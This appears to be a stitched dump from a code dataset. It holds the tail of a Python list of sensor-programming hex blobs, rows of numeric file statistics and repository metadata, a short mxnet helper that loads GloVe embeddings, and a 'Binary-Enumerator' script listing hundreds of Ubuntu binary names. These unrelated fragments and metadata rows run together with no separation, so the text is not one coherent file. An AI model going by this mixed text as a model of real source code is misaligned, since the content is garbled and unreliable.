SensorCaptureProg(major=0x6, minor=0xb, build=0x0, u1=0x0, dev_type=0x126, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032007000000000802020040024200000382000002820df0b2c20df0b30200000342000003c2080004020800050200a005c200000602000004c2003006c2068007020680074200100782001006420000084202000b4200000b8203a00bc201400c0200200c4200100c820020074030000a0030f00330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '32000c000000008068110100641126003400ac0300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000102b0e102b0e102b0e102b0e01000000061e10301001000007c80764060b4f80005080006d030007010000006d0300200307010007032408a180089f800aa108a2800a9f089e800aa208a3800a9e089d800aa308a4800a9d089c800aa408a6800a9c089b802c0aa608a7800a9b089a800aa708a8800a9a0899800aa808a9800a990898800aa908af800a980895800aaf08b0800a950894800ab008b1800a940893800ab108b2800a930892800ab208b3800a92088b800ab308b7800a8b088a800ab708b8800a8a0889800ab808b9800a890888800ab908ba800a880887800aba08bb800a870881800abb08bf800a810880800abf08c0800a80087f800ac008c1800a7f087e800ac108c2800a7e087d800ac208c5800a7d0872800ac508c6800a72087180062807010ac608c7800a710870800ac708c8800a70086f800ac808c9800a6f0863800ac9086c800a630862800a6c086b800a620861800a6b086a800a610860800a6a0869800a60085f800a69085e800a5f084f800a5e085d800a4f084e800a5d085c800a4e084d800a5c085b800a4d084c800a5b085a800a4c084b800a5a0831800a4b084a800a310830800a4a0849800a30082f800a490848800a2f082e800a480847800a2e082d800a470846800a2d08ca800a46083b800aca08cb800a3b083a800acb08cc800a3a0839800acc08cd800a390838800acd08ce800a38082c800ace08d0800a2c082b800ad008d1800a2b082a80063207010ad108d2800a2a0829800ad208d3800a290828800ad308d6800a28081c800ad608d7800a1c081b800ad708d8800a1b081a800ad808d9800a1a0819800ad908da800a190815800ada08df800a150814800adf08e0800a140813800ae008e1800a130812800ae108e2800a120811800ae208e4800a11080e800ae408e5800a0e080d800ae508e6800a0d080c800ae608e7800a0c080b800ae708e8800a0b080a800ae808ea800a0a0807800aea08eb800a070806800aeb08ec800a06080580240aec08ed800a050804800aed08ee800a040803800aee08ef800a030802800aef08f0800a020801800af008f1800c0a01080080070c03040200000000002f00040038000000290004009400000035000400a4000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0xdb, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032007000000000802020050024200000502077362820010030200100082170000c210000482102004c210000582000005c20000060200000682005006c20012970200121742001887820018084202000942001809c200902a0200b19b4200000b8203b04bc201400c0200200c4200100c82002003300100000000080cc200000f503d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0200500f8200500fc200000b8203b00000804001408000008080000080800001408300008080000140831001c081a00', '32000c0000000080501101004c1126003400080310061d10061d10061d10061d10061c01065810080101000007c8078c06100000204f80007f000003070107010c07032c08fc80095a800afc08fb800b5a095b800afb08fa800b5b095c800afa08f9800b5c095d800af908f8800b5d095e800af808f7800b5e095f800af708f6800b5f0960800af608f5800b600961800af508f4800b610962800af408f3800b620963800af308f2800b630964800af208f1800b640965800af108f0800b650966800af008ef800b660967800aef08ee800b670968800aee08ed800b68096c800aed08ec800b6c096d800aec08eb800b6d096e800aeb08ea800b6e096f800aea08e9800b6f0970800ae908e8800b700971800ae808e7800b710972800ae708e6800b720973800ae608e5800b730974800ae508e4800b740975800ae408e3800b750976800ae308e2800b760977800ae208e1800b770978800ae108e0800b780979800ae008df800b79097a800adf08de800b7a097b800ade08dd800b7b097c800add08dc800b7c097d800adc08db800b7d097e800adb08da800b7e097f800ada08d9800b7f0980800ad908d8800b800981800ad808d7800b810982800ad708d6800b820983800ad608d5800b830984800ad508d4800b840985800ad408d3800b850986800ad308d2800b860987800ad208d1800b870988800ad108d0800b880989800ad008cf800b89098a800acf08ce800b8a098b800ace08cd800b8b098c800acd08cc800b8c098d800acc08cb800b8d098e800acb08ca800b8e098f800aca08c9800b8f0990800ac908c8800b900991800ac808c7800b910992800ac708c6800b920993800ac608c5800b930994800ac508c4800b940995800ac408c3800b950996800ac308c2800b960997800ac208c1800b970998800ac108c0800b980999800ac008bf800b99099a800abf08be800b9a099b800abe08bd800b9b099c800abd08bc800b9c099d800abc08bb800b9d099e800abb08ba800b9e099f800aba08b9800b9f09a0800ab908b8800ba00801800ab808b7800a010802800ab708b6800a020803800ab608b5800a030804802003070404020000000000002f0004009000000029000400000000003500040010000000']),
]
| 1,271.341463
| 4,858
| 0.979396
| 1,427
| 104,250
| 71.349685
| 0.122635
| 0.009075
| 0.010313
| 0.012375
| 0.674855
| 0.638465
| 0.597676
| 0.596449
| 0.596449
| 0.596449
| 0
| 0.804484
| 0.005573
| 104,250
| 81
| 4,859
| 1,287.037037
| 0.177642
| 0
| 0
| 0
| 0
| 0
| 0.915902
| 0.915902
| 0
| 1
| 0.012518
| 0
| 0
| 1
| 0
| true
| 0
| 0.013514
| 0
| 0.013514
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
b37adc54571079f5819bb727b15f0688e9e9d6dc
| 158
|
py
|
Python
|
mxnet_text_to_image/utils/glove.py
|
AyaLotfy/mxnet-text-to-image
|
d3500d6c69d317aa5d057e97ced95b35b7b0e635
|
[
"MIT"
] | 2
|
2019-03-03T08:19:54.000Z
|
2019-04-09T03:28:00.000Z
|
mxnet_text_to_image/utils/glove.py
|
AyaLotfy/mxnet-text-to-image
|
d3500d6c69d317aa5d057e97ced95b35b7b0e635
|
[
"MIT"
] | 1
|
2018-10-05T16:47:24.000Z
|
2018-11-12T18:20:34.000Z
|
mxnet_text_to_image/utils/glove.py
|
AyaLotfy/mxnet-text-to-image
|
d3500d6c69d317aa5d057e97ced95b35b7b0e635
|
[
"MIT"
] | 2
|
2018-11-02T18:11:30.000Z
|
2020-05-14T02:31:15.000Z
|
from mxnet_text_to_image.utils.glove_loader import load_glove
def glove_word2emb_300(data_dir_path):
return load_glove(data_dir_path, embedding_dim=300)
| 31.6
| 61
| 0.85443
| 27
| 158
| 4.518519
| 0.703704
| 0.147541
| 0.180328
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.048611
| 0.088608
| 158
| 5
| 62
| 31.6
| 0.798611
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
b388297cfafa31db37b4b073578667d6f26a6fb1
| 41,658
|
py
|
Python
|
main.py
|
GiddyLinux/Binary-Enumerator
|
3b7ae1891e63339e5f8c7badc02ff926afc107a9
|
[
"MIT"
] | null | null | null |
main.py
|
GiddyLinux/Binary-Enumerator
|
3b7ae1891e63339e5f8c7badc02ff926afc107a9
|
[
"MIT"
] | null | null | null |
main.py
|
GiddyLinux/Binary-Enumerator
|
3b7ae1891e63339e5f8c7badc02ff926afc107a9
|
[
"MIT"
] | null | null | null |
import os
import sys
ubuntu_bin = ['mformat', 'aa-enabled', 'migrate-pubring-from-classic-gpg', 'aa-exec', 'mimeopen', 'aconnect', 'mimetype', 'acpi_listen', 'min12xxw', 'add-apt-repository', 'minfo', 'addpart', 'mkdir', 'alsabat', 'mkfifo', 'alsaloop', 'mkfontdir', 'alsamixer', 'mkfontscale', 'alsatplg', 'mkisofs', 'alsaucm', 'mkmanifest', 'amidi', 'mk_modmap', 'amixer', 'mknod', 'amuFormat.sh', 'mksquashfs', 'apg', 'mktemp', 'apgbfm', 'mkzftree', 'aplay', 'mlabel', 'aplaymidi', 'mmcli', 'apport-bug', 'mmd', 'apport-cli', 'mmount', 'apport-collect', 'mmove', 'apport-unpack', 'monitor-sensor', 'appres', 'more', 'appstreamcli', 'mount', 'apropos', 'mountpoint', 'apt', 'mousetweaks', 'apt-add-repository', 'mpartition', 'apt-cache', 'mrd', 'apt-cdrom', 'mren', 'apt-config', 'mscompress', 'aptdcon', 'msexpand', 'apt-extracttemplates', 'mshortname', 'apt-ftparchive', 'mshowfat', 'apt-get', 'mt', 'apt-key', 'mt-gnu', 'apt-mark', 'mtools', 'apt-sortpkgs', 'mtoolstest', 'apturl', 'mtr', 'apturl-gtk', 'mtr-packet', 'arch', 'mtype', 'arecord', 'mutter', 'arecordmidi', 'mv', 'arm2hpdl', 'mxtar', 'aseqdump', 'mzip', 'aseqnet', 'namei', 'aspell', 'nano', 'aspell-import', 'nautilus', 'atobm', 'nautilus-autorun-software', 'avahi-browse', 'nautilus-sendto', 'avahi-browse-domains', 'nawk', 'avahi-publish', 'nc', 'avahi-publish-address', 'ncal', 'avahi-publish-service', 'nc.openbsd', 'avahi-resolve', 'neqn', 'avahi-resolve-address', 'netcat', 'avahi-resolve-host-name', 'netkit-ftp', 'avahi-set-host-name', 'networkctl', 'awk', 'networkd-dispatcher', 'axfer', 'newgrp', 'b2sum', 'ngettext', 'base32', 'nice', 'base64', 'nisdomainname', 'basename', 'nl', 'bash', 'nm-applet', 'bashbug', 'nmcli', 'bc', 'nm-connection-editor', 'bccmd', 'nm-online', 'bdftopcf', 'nmtui', 'bdftruncate', 'nmtui-connect', 'bitmap', 'nmtui-edit', 'bluemoon', 'nmtui-hostname', 'bluetoothctl', 'nohup', 'bluetooth-sendto', 'notify-send', 'bmtoa', 'nproc', 'boltctl', 'nroff', 'bootctl', 'nsenter', 'brltty', 'nslookup', 'brltty-ctb', 'nstat', 'brltty-trtxt', 'nsupdate', 'brltty-ttb', 'ntfs-3g', 'broadwayd', 'ntfs-3g.probe', 'browse', 'ntfscat', 'bsd-from', 'ntfscluster', 'bsd-write', 'ntfscmp', 'btattach', 'ntfsdecrypt', 'btmgmt', 'ntfsfallocate', 'btmon', 'ntfsfix', 'bunzip2', 'ntfsinfo', 'busctl', 'ntfsls', 'busybox', 'ntfsmove', 'bwrap', 'ntfsrecover', 'bzcat', 'ntfssecaudit', 'bzcmp', 'ntfstruncate', 'bzdiff', 'ntfsusermap', 'bzegrep', 'ntfswipe', 'bzexe', 'numfmt', 'bzfgrep', 'nvidia-detector', 'bzgrep', 'oakdecode', 'bzip2', 'obexctl', 'bzip2recover', 'oclock', 'bzless', 'od', 'bzmore', 'oem-getlogs', 'cal', 'on_ac_power', 'calendar', 'openssl', 'calibrate_ppa', 'openvt', 'canberra-gtk-play', 'opldecode', 'cancel', 'orca', 'captoinfo', 'orca-dm-wrapper', 'cat', 'os-prober', 'catchsegv', 'p11-kit', 'catman', 'pacat', 'cautious-launcher', 'pacmd', 'cd-create-profile', 'pactl', 'cd-fix-profile', 'padsp', 'cd-iccdump', 'pager', 'cd-it8', 'pa-info', 'chacl', 'pamon', 'chage', 'paperconf', 'chardet3', 'paplay', 'chardetect3', 'parec', 'chattr', 'parecord', 'chcon', 'partx', 'check-language-support', 'passwd', 'chfn', 'paste', 'chgrp', 'pasuspender', 'chmod', 'patch', 'choom', 'pathchk', 'chown', 'pax11publish', 'chrt', 'pdb3', 'chsh', 'pdb3.8', 'chvt', 'pdf2dsc', 'ciptool', 'pdf2ps', 'ckbcomp', 'pdfattach', 'cksum', 'pdfdetach', 'clear', 'pdffonts', 'clear_console', 'pdfimages', 'cmp', 'pdfinfo', 'codepage', 'pdfseparate', 'col', 'pdfsig', 'colcrt', 'pdftocairo', 'colormgr', 'pdftohtml', 'colrm', 'pdftoppm', 'column', 'pdftops', 'comm', 'pdftotext', 'compose', 'pdfunite', 'corelist', 'peekfd', 'cp', 'perl', 'cpan', 'perl5.30.0', 'cpan5.30-x86_64-linux-gnu', 'perl5.30-x86_64-linux-gnu', 'cpio', 'perlbug', 'cpp', 'perldoc', 'cpp-9', 'perli11ndoc', 'c_rehash', 'perlivp', 'crontab', 'perlthanks', 'csplit', 'pf2afm', 'ctstat', 'pfbtopfa', 'cupstestppd', 'pftp', 'cut', 'pgrep', 'cvt', 'pic', 'cvtsudoers', 'pico', 'dash', 'piconv', 'date', 'pidof', 'dbus-cleanup-sockets', 'pinentry', 'dbus-daemon', 'pinentry-curses', 'dbus-launch', 'pinentry-gnome3', 'dbus-monitor', 'pinentry-x11', 'dbus-run-session', 'ping', 'dbus-send', 'ping4', 'dbus-update-activation-environment', 'ping6', 'dbus-uuidgen', 'pinky', 'dbxtool', 'pkaction', 'dc', 'pkcheck', 'dconf', 'pkcon', 'dd', 'pkexec', 'ddstdecode', 'pkg-config', 'deallocvt', 'pkill', 'debconf', 'pkmon', 'debconf-apt-progress', 'pkttyagent', 'debconf-communicate', 'pl2pm', 'debconf-copydb', 'pldd', 'debconf-escape', 'plog', 'debconf-set-selections', 'plymouth', 'debconf-show', 'pmap', 'debian-distro-info', 'pnm2ppa', 'deb-systemd-helper', 'pod2html', 'deb-systemd-invoke', 'pod2man', 'delpart', 'pod2text', 'delv', 'pod2usage', 'desktop-file-edit', 'podchecker', 'desktop-file-install', 'podselect', 'desktop-file-validate', 'poff', 'devdump', 'pon', 'df', 'POST', 'dfu-tool', 'ppdc', 'dh_bash-completion', 'ppdhtml', 'dh_installxmlcatalogs', 'ppdi', 'dh_perl_openssl', 'ppdmerge', 'diff', 'ppdpo', 'diff3', 'pphs', 'dig', 'pr', 'dir', 'precat', 'dircolors', 'preconv', 'dirmngr', 'preunzip', 'dirmngr-client', 'prezip', 'dirname', 'prezip-bin', 'dirsplit', 'print', 'distro-info', 'printafm', 'dmesg', 'printenv', 'dnsdomainname', 'printerbanner', 'domainname', 'printer-profile', 'do-release-upgrade', 'printf', 'dpkg', 'prlimit', 'dpkg-deb', 'prove', 'dpkg-divert', 'prtstat', 'dpkg-maintscript-helper', 'ps', 'dpkg-query', 'ps2ascii', 'dpkg-split', 'ps2epsi', 'dpkg-statoverride', 'ps2pdf', 'dpkg-trigger', 'ps2pdf12', 'driverless', 'ps2pdf13', 'du', 'ps2pdf14', 'dumpkeys', 'ps2pdfwr', 'dvipdf', 'ps2ps', 'echo', 'ps2ps2', 'ed', 'ps2txt', 'edit', 'psfaddtable', 'editor', 'psfgettable', 'editres', 'psfstriptable', 'egrep', 'psfxtable', 'eject', 'psicc', 'enc2xs', 'pslog', 'encguess', 'pstree', 'enchant-2', 'pstree.x11', 'enchant-lsmod-2', 'ptar', 'env', 'ptardiff', 'envsubst', 'ptargrep', 'eog', 'ptx', 'eps2eps', 'pulseaudio', 'eqn', 'pwd', 'esc-m', 'pwdx', 'eutp', 'py3clean', 'evince', 'py3compile', 'evince-previewer', 'py3versions', 'evince-thumbnailer', 'pydoc3', 'ex', 'pydoc3.8', 'expand', 'pygettext3', 'expiry', 'pygettext3.8', 'expr', 'pyjwt3', 'factor', 'python3', 'faillog', 'python3.8', 'fallocate', 'qpdldecode', 'false', 'quirks-handler', 'fc-cache', 'rbash', 'fc-cat', 'rcp', 'fc-conflist', 'rctest', 'fc-list', 'rdma', 'fc-match', 'readlink', 'fc-pattern', 'realpath', 'fc-query', 'red', 'fc-scan', 'rename.ul', 'fc-validate', 'rendercheck', 'fgconsole', 'renice', 'fgrep', 'reset', 'file', 'resizecons', 'file2brl', 'resizepart', 'file-roller', 'resolvectl', 'fincore', 'rev', 'find', 'rfcomm', 'findmnt', 'rgrep', 'firefox', 'rlogin', 'flock', 'rm', 'fmt', 'rmdir', 'fold', 'rnano', 'fonttosfnt', 'routef', 'foo2ddst', 'routel', 'foo2ddst-wrapper', 'rrsync', 'foo2hbpl2', 'rsh', 'foo2hbpl2-wrapper', 'rstart', 'foo2hiperc', 'rstartd', 'foo2hiperc-wrapper', 'rsync', 'foo2hp', 'rtstat', 'foo2hp2600-wrapper', 'runcon', 'foo2lava', 'run-mailcap', 'foo2lava-wrapper', 'run-parts', 'foo2oak', 'run-with-aspell', 'foo2oak-wrapper', 'rview', 'foo2qpdl', 'rygel', 'foo2qpdl-wrapper', 'sane-find-scanner', 'foo2slx', 'savelog', 'foo2slx-wrapper', 'sbattach', 'foo2xqx', 'sbkeysync', 'foo2xqx-wrapper', 'sbsiglist', 'foo2zjs', 'sbsign', 'foo2zjs-icc2ps', 'sbvarsign', 'foo2zjs-pstops', 'sbverify', 'foo2zjs-wrapper', 'scanimage', 'foomatic-rip', 'scp', 'fprintd-delete', 'scp-dbus-service', 'fprintd-enroll', 'screendump', 'fprintd-list', 'script', 'fprintd-verify', 'scriptreplay', 'free', 'sdiff', 'from', 'sdptool', 'ftp', 'seahorse', 'funzip', 'sed', 'fuser', 'see', 'fusermount', 'select-default-iwrap', 'fwupdagent', 'select-editor', 'fwupdate', 'sensible-browser', 'fwupdmgr', 'sensible-editor', 'fwupdtool', 'sensible-pager', 'fwupdtpmevlog', 'seq', 'gamemoded', 'session-migration', 'gamemoderun', 'sessreg', 'gamma4scanimage', 'setarch', 'gapplication', 'setfacl', 'gatttool', 'setfont', 'gcalccmd', 'setkeycodes', 'gcore', 'setleds', 'gcr-viewer', 'setlogcons', 'gdb', 'setmetamode', 'gdb-add-index', 'setpci', 'gdbserver', 'setpriv', 'gdbtui', 'setsid', 'gdbus', 'setterm', 'gdialog', 'setupcon', 'gdk-pixbuf-csource', 'setxkbmap', 'gdk-pixbuf-pixdata', 'sftp', 'gdk-pixbuf-thumbnailer', 'sg', 'gdmflexiserver', 'sh', 'gdm-screenshot', 'sha1sum', 'gedit', 'sha224sum', 'genisoimage', 'sha256sum', 'geqn', 'sha384sum', 'GET', 'sha512sum', 'getconf', 'shasum', 'geteltorito', 'showconsolefont', 'getent', 'showkey', 'getfacl', 'showrgb', 'getkeycodes', 'shred', 'getopt', 'shuf', 'gettext', 'skill', 'gettext.sh', 'slabtop', 'ghostscript', 'sleep', 'ginstall-info', 'slogin', 'gio', 'slxdecode', 'gio-querymodules', 'smproxy', 'gipddecode', 'snap', 'gjs', 'snapctl', 'gjs-console', 'snapfuse', 'gkbd-keyboard-display', 'snice', 'glib-compile-schemas', 'soelim', 'gnome-calculator', 'software-properties-gtk', 'gnome-characters', 'sort', 'gnome-control-center', 'spd-conf', 'gnome-disk-image-mounter', 'spd-say', 'gnome-disks', 'speaker-test', 'gnome-extensions', 'speech-dispatcher', 'gnome-font-viewer', 'spice-vdagent', 'gnome-help', 'splain', 'gnome-keyring', 'split', 'gnome-keyring-3', 'splitfont', 'gnome-keyring-daemon', 'ss', 'gnome-language-selector', 'ssh', 'gnome-logs', 'ssh-add', 'gnome-power-statistics', 'ssh-agent', 'gnome-screenshot', 'ssh-argv0', 'gnome-session', 'ssh-copy-id', 'gnome-session-custom-session', 'ssh-keygen', 'gnome-session-inhibit', 'ssh-keyscan', 'gnome-session-properties', 'start-pulseaudio-x11', 'gnome-session-quit', 'startx', 'gnome-shell', 'stat', 'gnome-shell-extension-tool', 'static-sh', 'gnome-shell-perf-tool', 'stdbuf', 'gnome-system-monitor', 'strace', 'gnome-terminal', 'strace-log-merge', 'gnome-terminal.real', 'stty', 'gnome-terminal.wrapper', 'su', 'gnome-text-editor', 'sudo', 'gnome-thumbnail-font', 'sudoedit', 'gnome-www-browser', 'sudoreplay', 'gpasswd', 'sum', 'gpg', 'symcryptrun', 'gpg-agent', 'sync', 'gpgcompose', 'system-config-printer', 'gpgconf', 'system-config-printer-applet', 'gpg-connect-agent', 'systemctl', 'gpgparsemail', 'systemd', 'gpgsm', 'systemd-analyze', 'gpgsplit', 'systemd-ask-password', 'gpgtar', 'systemd-cat', 'gpgv', 'systemd-cgls', 'gpg-wks-server', 'systemd-cgtop', 'gpg-zip', 'systemd-delta', 'gpic', 'systemd-detect-virt', 'gpu-manager', 'systemd-escape', 'grep', 'systemd-hwdb', 'gresource', 'systemd-id128', 'groff', 'systemd-inhibit', 'grog', 'systemd-machine-id-setup', 'grops', 'systemd-mount', 'grotty', 'systemd-notify', 'groups', 'systemd-path', 'grub-editenv', 'systemd-resolve', 'grub-file', 'systemd-run', 'grub-fstest', 'systemd-socket-activate', 'grub-glue-efi', 'systemd-stdio-bridge', 'grub-kbdcomp', 'systemd-sysusers', 'grub-menulst2cfg', 'systemd-tmpfiles', 'grub-mkfont', 'systemd-tty-ask-password-agent', 'grub-mkimage', 'systemd-umount', 'grub-mklayout', 'tabs', 'grub-mknetdir', 'tac', 'grub-mkpasswd-pbkdf2', 'tail', 'grub-mkrelpath', 'tar', 'grub-mkrescue', 'taskset', 'grub-mkstandalone', 'tbl', 'grub-mount', 'tee', 'grub-ntldr-img', 'telnet', 'grub-render-label', 'telnet.netkit', 'grub-script-check', 'tempfile', 'grub-syslinux2cfg', 'test', 'gs', 'tgz', 'gsbj', 'tic', 'gsdj', 'tificc', 'gsdj500', 'time', 'gsettings', 'timedatectl', 'gslj', 'timeout', 'gslp', 'tload', 'gsnd', 'toe', 'gst-device-monitor-1.0', 'top', 'gst-discoverer-1.0', 'touch', 'gst-inspect-1.0', 'tput', 'gst-launch-1.0', 'tr', 'gst-play-1.0', 'tracepath', 'gstreamer-codec-install', 'traceroute6', 'gst-typefind-1.0', 'traceroute6.iputils', 'gtbl', 'tracker', 'gtf', 'transicc', 'gtk-builder-tool', 'transset', 'gtk-encode-symbolic-svg', 'troff', 'gtk-launch', 'true', 'gtk-query-settings', 'truncate', 'gtk-update-icon-cache', 'trust', 'gunzip', 'tset', 'gvfs-cat', 'tsort', 'gvfs-copy', 'ttfread', 'gvfs-info', 'tty', 'gvfs-less', 'tzselect', 'gvfs-ls', 'ua', 'gvfs-mime', 'ubuntu-advantage', 'gvfs-mkdir', 'ubuntu-bug', 'gvfs-monitor-dir', 'ubuntu-core-launcher', 'gvfs-monitor-file', 'ubuntu-distro-info', 'gvfs-mount', 'ubuntu-drivers', 'gvfs-move', 'ubuntu-report', 'gvfs-open', 'ubuntu-security-status', 'gvfs-rename', 'ucf', 'gvfs-rm', 'ucfq', 'gvfs-save', 'ucfr', 'gvfs-set-attribute', 'ucs2any', 'gvfs-trash', 'udevadm', 'gvfs-tree', 'udisksctl', 'gzexe', 'ul', 'gzip', 'ulockmgr_server', 'h2ph', 'umax_pp', 'h2xs', 'umount', 'hbpldecode', 'uname', 'hciattach', 'unattended-upgrade', 'hciconfig', 'unattended-upgrades', 'hcitool', 'uncompress', 'hd', 'unexpand', 'head', 'unicode_start', 'HEAD', 'unicode_stop', 'helpztags', 'uniq', 'hex2hcd', 'unity-scope-loader', 'hexdump', 'unlink', 'hipercdecode', 'unlz4', 'host', 'unlzma', 'hostid', 'unmkinitramfs', 'hostname', 'unshare', 'hostnamectl', 'unsquashfs', 'hp-align', 'unxz', 'hp-check', 'unzip', 'hp-clean', 'unzipsfx', 'hp-colorcal', 'update-alternatives', 'hp-config_usb_printer', 'update-desktop-database', 'hp-doctor', 'update-manager', 'hp-firmware', 'update-mime-database', 'hp-info', 'update-notifier', 'hp-levels', 'upower', 'hp-logcapture', 'uptime', 'hp-makeuri', 'usb-devices', 'hp-pkservice', 'usbhid-dump', 'hp-plugin', 'usb_printerid', 'hp-plugin-ubuntu', 'usbreset', 'hp-probe', 'users', 'hp-query', 'utmpdump', 'hp-scan', 'uuidgen', 'hp-setup', 'uuidparse', 'hp-testpage', 'uz', 'hp-timedate', 'vdir', 'hwe-support-status', 'VGAuthService', 'i386', 'vi', 'i686-linux-gnu-pkg-config', 'view', 'ibus', 'viewres', 'ibus-daemon', 'vim.tiny', 'ibus-setup', 'vmhgfs-fuse', 'ibus-table-createdb', 'vmstat', 'iceauth', 'vm-support', 'ico', 'vmtoolsd', 'iconv', 'vmware-alias-import', 'id', 'vmware-checkvm', 'iecset', 'vmwarectrl', 'ijs_pxljr', 'vmware-hgfsclient', 'im-config', 'vmware-namespace-cmd', 'im-launch', 'vmware-rpctool', 'info', 'vmware-toolbox-cmd', 'infobrowser', 'vmware-user', 'infocmp', 'vmware-user-suid-wrapper', 'infotocap', 'vmware-vgauth-cmd', 'inputattach', 'vmware-vmblock-fuse', 'install', 'vmware-xferlogs', 'install-info', 'vmwgfxctrl', 'install-printerdriver', 'volname', 'instmodsh', 'vstp', 'intel-virtual-output', 'w', 'ionice', 'wall', 'ip', 'watch', 'ipcmk', 'watchgnupg', 'ipcrm', 'wc', 'ipcs', 'wdctl', 'ippfind', 'wget', 'ipptool', 'whatis', 'iptables-xml', 'whereis', 'ischroot', 'which', 'isdv4-serial-debugger', 'whiptail', 'isdv4-serial-inputattach', 'who', 'isodump', 'whoami', 'isoinfo', 'whoopsie', 'isovfy', 'whoopsie-preferences', 'ispell-wrapper', 'word-list-compress', 'join', 'wpa_passphrase', 'journalctl', 'w.procps', 'jpgicc', 'write', 'json_pp', 'X', 'kbdinfo', 'X11', 'kbd_mode', 'x11perf', 'kbxutil', 'x11perfcomp', 'kernel-install', 'x86_64', 'kerneloops-submit', 'x86_64-linux-gnu-cpp', 'keyring', 'x86_64-linux-gnu-cpp-9', 'kill', 'x86_64-linux-gnu-pkg-config', 'killall', 'x86_64-pc-linux-gnu-pkg-config', 'kmod', 'xargs', 'kmodsign', 'xauth', 'l2ping', 'xbiff', 'l2test', 'xbrlapi', 'laptop-detect', 'xcalc', 'last', 'xclipboard', 'lastb', 'xclock', 'lastlog', 'xcmsdb', 'lavadecode', 'xconsole', 'lcf', 'xcursorgen', 'ldd', 'xcutsel', 'less', 'xdg-dbus-proxy', 'lessecho', 'xdg-desktop-icon', 'lessfile', 'xdg-desktop-menu', 'lesskey', 'xdg-email', 'lesspipe', 'xdg-icon-resource', 'lexgrog', 'xdg-mime', 'libnetcfg', 'xdg-open', 'libwacom-list-local-devices', 'xdg-screensaver', 'link', 'xdg-settings', 'linkicc', 'xdg-user-dir', 'linux32', 'xdg-user-dirs-gtk-update', 'linux64', 'xdg-user-dirs-update', 'linux-boot-prober', 'xditview', 'linux-check-removal', 'xdpyinfo', 'linux-update-symlinks', 'xdriinfo', 'linux-version', 'xedit', 'listres', 'Xephyr', 'ln', 'xev', 'lnstat', 'xeyes', 'loadkeys', 'xfd', 'loadunimap', 'xfontsel', 'locale', 'xgamma', 'locale-check', 'xgc', 'localectl', 'xhost', 'localedef', 'xinit', 'logger', 'xinput', 'login', 'xkbbell', 'loginctl', 'xkbcomp', 'logname', 'xkbevd', 'look', 'xkbprint', 'lorder', 'xkbvleds', 'lowntfs-3g', 'xkbwatch', 'lp', 'xkeystone', 'lpoptions', 'xkill', 'lpq', 'xload', 'lpr', 'xlogo', 'lprm', 'xlsatoms', 'lpstat', 'xlsclients', 'ls', 'xlsfonts', 'lsattr', 'xmag', 'lsblk', 'xman', 'lsb_release', 'xmessage', 'lscpu', 'xmodmap', 'lshw', 'xmore', 'lsinitramfs', 'Xorg', 'lsipc', 'xprop', 'lslocks', 'xqxdecode', 'lslogins', 'xrandr', 'lsmem', 'xrdb', 'lsmod', 'xrefresh', 'lsns', 'x-session-manager', 'lsof', 'xset', 'lspci', 'xsetmode', 'lspgpot', 'xsetpointer', 'lsusb', 'xsetroot', 'ltrace', 'xsetwacom', 'luit', 'xsm', 'lwp-download', 'xstdcmap', 'lwp-dump', 'xsubpp', 'lwp-mirror', 'x-terminal-emulator', 'lwp-request', 'xvidtune', 'lz', 'xvinfo', 'lz4', 'Xwayland', 'lz4c', 'xwd', 'lz4cat', 'x-window-manager', 'lzcat', 'xwininfo', 'lzcmp', 'xwud', 'lzdiff', 'x-www-browser', 'lzegrep', 'xxd', 'lzfgrep', 'xz', 'lzgrep', 'xzcat', 'lzless', 'xzcmp', 'lzma', 'xzdiff', 'lzmainfo', 'xzegrep', 'lzmore', 'xzfgrep', 'm2300w', 'xzgrep', 'm2300w-wrapper', 'xzless', 'm2400w', 'xzmore', 'man', 'yelp', 'mandb', 'yes', 'manpath', 'ypdomainname', 'man-recode', 'zcat', 'mapscrn', 'zcmp', 'mattrib', 'zdiff', 'mawk', 'zdump', 'mbadblocks', 'zegrep', 'mcat', 'zenity', 'mcd', 'zfgrep', 'mcheck', 'zforce', 'mclasserase', 'zgrep', 'mcomp', 'zip', 'mcookie', 'zipcloak', 'mcopy', 'zipdetails', 'md5sum', 'zipgrep', 'md5sum.textutils', 'zipinfo', 'mdel', 'zipnote', 'mdeltree', 'zipsplit', 'mdig', 'zjsdecode', 'mdir', 'zless', 'mdu', 'zmore', 'mesa-overlay-control.py', 'znew', 'mesg']
